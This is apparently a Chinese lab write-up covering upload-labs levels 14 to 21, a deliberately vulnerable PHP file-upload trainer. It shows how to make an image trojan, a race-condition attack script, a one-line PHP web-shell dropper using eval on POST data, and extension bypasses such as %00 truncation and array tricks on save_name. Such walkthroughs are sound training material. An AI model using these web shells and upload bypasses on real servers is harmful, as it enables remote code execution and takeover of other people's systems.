upload-labs-14-21关

目录

Upload-labs-14-17(图片信息验证,配合漏洞)

 Upload-labs-18(二次渲染/条件竞争)

Upload-labs-19(和18关同理)

Upload-labs-20(文件夹伪造)

Upload-labs-21(数组接受+目录命名)


Upload-labs-14-17(图片信息验证,配合漏洞)

文件包含漏洞原理:

以包含的文件以脚本格式去执行,file为文件包含的参数值。也就是以脚本执行文件包含所具有的特征值,特征值也就是所包含文件的特征

http://192.168.3.12/upload/include.php?file=upload/7220220822184847.jpg

图片马制作(windows):

Copy xx.jpg/B + shell.php/A muma.jpg

图片马执行条件:

Php版本为5.45及以上,如果版本太低,对方服务器可能解析不出图片马的php格式

演示:

上传文件,并复制连接

点击文件包含漏洞

通过页面提示得知,file值为文件包含值,把图片路径粘贴到?file=的后面

运行后门

函数学习:

getimagesize() 获取图像信息

exif_imagetype() 获取图片类型

imagecreatefromjpeg() 为二次渲染,如果是图片的话是true否则false

原理:

查看源代码可知,如果不是图像信息,函数无法正常执行,所以就只能上传图片马,但是只能上传图片的话不配合其他漏洞,这个后门代码就不可能能释放出来,所以14-17关方法一致。都是有文件包含漏洞,因为上传图片就只能是上传图片,如果不去配合其他漏洞的话就没有意义了。

 Upload-labs-18(二次渲染/条件竞争)

<?php
$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){//如果触发鼠标提交事件
    $ext_arr = array('jpg','png','gif');//提交名单
    $file_name = $_FILES['upload_file']['name'];//上传文件的图片名
    $temp_file = $_FILES['upload_file']['tmp_name'];//获得上传文件的缓存路径
    $file_ext = substr($file_name,strrpos($file_name,".")+1);//取出文件点后面的后缀
    $upload_file = UPLOAD_PATH . '/' . $file_name;//文件路径为路径拼接加文件名

    if(move_uploaded_file($temp_file, $upload_file)){//如果缓存文件移动到$upload_file变量,则执行下一步
        if(in_array($file_ext,$ext_arr)){//如果符合安全验证
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;//路径
             rename($upload_file, $img_path);//则重命名
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}
?>

通过源代码得知安全验证是在后面的if判断语句,且前面的的移动文件前并没有做任何过滤,所以可以利用条件竞争原理来上传shell.php以阻止后面的安全验证。所谓条件竞争也可以说是资源占用这是系统的特性,当上传php文件的一瞬间立刻访问

演示:

如图,右键发送到intruder模块

选中ip的主机号

选中模块number,从1到255攻击间隔为1次,不断地发送请求,并攻击

此时访问网址,一直重复即可

可利用python脚本两边跑:

import requests
url = 'http://192.168.3.12/upload/upload/muma.php'

p = 1
while p:
    resp = requests.get(url)
    status = resp.status_code
    if status == 200:
        print("ok!")
        p = 0
    else:
        pass

最后通过不断的访问,在访问占用中导致后面的if安全验证不能执行,成功上传php后门文件

(不要问我为什么你跑不出来)

Upload-labs-19(和18关同理)

后门代码:访问php时后门的生成

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["c"]);?>')?>

Upload-labs-20(文件夹伪造)

知识点1:内置函数的漏洞

$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);//获取文件后缀名

知识点2:文件目录上的问题

文件夹伪造 upload.php/.

弱智题了解就行

上传方法:大小写绕过,空格绕过,点绕过,post之%00截断等

本题脚本利用的CVE-漏洞:CVE-2015-2348

Upload-labs-21(数组接受+目录命名)

源代码分析

reset()获取前面的文件名,不带后缀的
<?php
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){//当上传文件不为空
    //检查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');//声明允许文件类型的数组
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){//如果上传文件类型不在允许变量里
        $msg = "禁止上传该类型文件!";
    }else{
        //检查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];//三目运算符
        if (!is_array($file)) {//如果$file不在空
            $file = explode('.', strtolower($file));//以点分割$file中的字符串,并将其组成为数组
        }

        $ext = end($file);//输出$file数组中最后一个元素的值。
        $allow_suffix = array('jpg','png','gif');//声明允许的文件后缀的数组
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上传该后缀文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];//reset()获取前面的文件名,不带后缀的.返回$file数组的数目并-1,也就是$file[2]
            $temp_file = $_FILES['upload_file']['tmp_name'];//获得本地临时文件的储存路径
            $img_path = UPLOAD_PATH . '/' .$file_name;//图片路径为本地配置文件中的UPLOAD_PATH路径/.上传文件名
            if (move_uploaded_file($temp_file, $img_path)) {//如果缓存文件移动到执行的图片路径
                $msg = "文件上传成功!";//输出
                $is_upload = true;//上传变量为正确
            } else {
                $msg = "文件上传失败!";//$msg变量为
            }
        }
    }
}else{
    $msg = "请选择要上传的文件!";//$msg变量为
}
?>

上传思路:

  1. 修改文件类型为
  2. 修改数组最后一个值为允许后缀

演示:

用bp抓取一个上传的php后门

修改数据包信息,文件类型为Content-Type:image/jpeg,并添加如图选中的代码。

注意(在添加数据类型的时候要注意格式包括换行的间隙,可以通过前面save_name进行参考)

 

上传即可成功

原理:

通过源代码可以发现允许文件后缀的数组的验证是$file上传文件数组中最后的一个值,也就是说save_name[2],100也行,主要是绕过后缀名的数组验证。由于save_name[0]是为了能让代码符合,即文件的第一个数组再拼接文件数组-1的文件由于数组[2-1]刚好是空白,所以成功上传了

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

永远回不去的那天

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值